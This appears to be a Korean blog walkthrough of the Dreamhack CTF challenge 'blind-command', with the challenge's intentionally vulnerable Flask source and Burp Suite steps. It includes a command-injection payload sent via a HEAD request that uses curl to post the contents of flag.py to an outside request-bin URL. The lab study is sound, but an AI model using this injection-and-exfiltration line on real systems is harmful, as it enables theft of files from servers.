blind-command
Read the flag file XD Reference Web Hacking
dreamhack.io
Code
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
문제 풀이

request.args 에 cmd 가 없으면 ?cmd=[cmd] 텍스트를 return 한다.
위의 메인화면에 방문했을 때 ?cmd=[cmd] 텍스트만 뜬 이유는 request 에 해당하는 값이 없기 때문이다.
- cmd 가 있을 경우
- request 메소드가 GET 이 아닐 때, cmd 파라미터로 전달된 값을 시스템 명령어로 실행하는 것을 확인한다.
- 메소드를 GET 이 아닌 다른 것으로 전환한다.
- cmd 파라미터로 시스템 명령어를 전달한다.
- request 보내는 방법을 시도한다.
메소드가 GET 이 아니면 cmd 파라미터로 전달된 값을 시스템 명령어로 실행한다.
익스플로잇

Next 를 클릭한다.

Start Burp 를 클릭한다.

Proxy -> Setting 을 클릭한 화면이다.
Proxy listeners 가 127.0.0.1:8080 으로 되어 있는 것을 확인한다.

Request interception rules 를 모두 활성화 한다.
Response interception rules 또한 모두 활성화 한다.

Proxy -> Intercept -> Open browser 를 클릭한다.

Open browser 클릭한 후 열린 사이트 주소란에 드림핵 주소를 삽입한다.

다시 Burp Suite 로 돌아온다.
- Proxy -> HTTP history 클릭
- Method 가 GET 으로 요청된 것을 클릭하면 Request, Response 정보가 확인 가능하다.
- Request 정보에서 Method 가 GET 으로 되어있는 것이 확인 가능하다.

Request 창 우클릭 후 Send to Repeater 를 클릭한다.

Repeater 이동 후 Request 정보를 수정한다.
첫 줄을 OPTIONS /?cmd=ls 로 변경한다.
OPTIONS 라는 HTTP 메소드는 서버와 브라우저의 통신 옵션을 확인하는데 사용한다.
서버가 지원하는 Method, Header, Content Type 이 무엇인지 확인 가능하다.
Request 정보 변경 후 Send 를 클릭한다.

Response 를 확인해보면 허용하는 통신 옵션으로 OPTIONS, GET, HEAD 3가지가 있는 것이 확인 가능하다.
HEAD => GET 대신 사용하여 공격할 수 있는 옵션이다.

https://tools.dreamhack.games/ 로 접속하여 Request Bin 을 클릭한다.
해당 Request Bin 의 링크를 복사한다.

다시 Repeater 로 이동한다.
Request 의 첫 줄에서 OPTIONS /?cmd=ls 를 HEAD /?cmd=curl+<복사한 URL>+-d+"$(cat+flag.py)" 을 입력한다.
HEAD : 메소드이다.
cmd : 시스템 명령어로 실행할 파라미터의 이름이다.
curl : http 메시지를 쉘 상에서 요청, 결과를 확인하는 명령어다.
-> http 를 이용해서 경로의 데이터를 가져온다.
+ : 띄어쓰기 이다.
복사한 URL : DreamhackTools 에서 복사한 링크이다.
d : curl 의 명령어 옵션으로 데이터를 POST 요청으로 전송한다.
"$(cat+flag.py)" : flag.py 를 간단하게 출력하는 쉘 명령어이다.
send 를 클릭한다.
플래그 획득
Dreamhack Tools 로 돌아오면 Post 요청 기록이 확인 가능하다.
POST 를 클릭하면 내부 데이터가 출력되면서 flag 가 확인 가능하다.

플래그가 정상적으로 도출되었다.
'Webhacking > Dreamhack' 카테고리의 다른 글
| [Dreamhack] Carve Party (0) | 2025.03.16 |
|---|---|
| [Dreamhack] web-ssrf (0) | 2025.03.16 |
| [Dreamhack] file-download-1 (0) | 2025.03.16 |
| [Dreamhack] image-storage (0) | 2025.03.16 |
| [Dreamhack] command-injection-1 (0) | 2025.03.16 |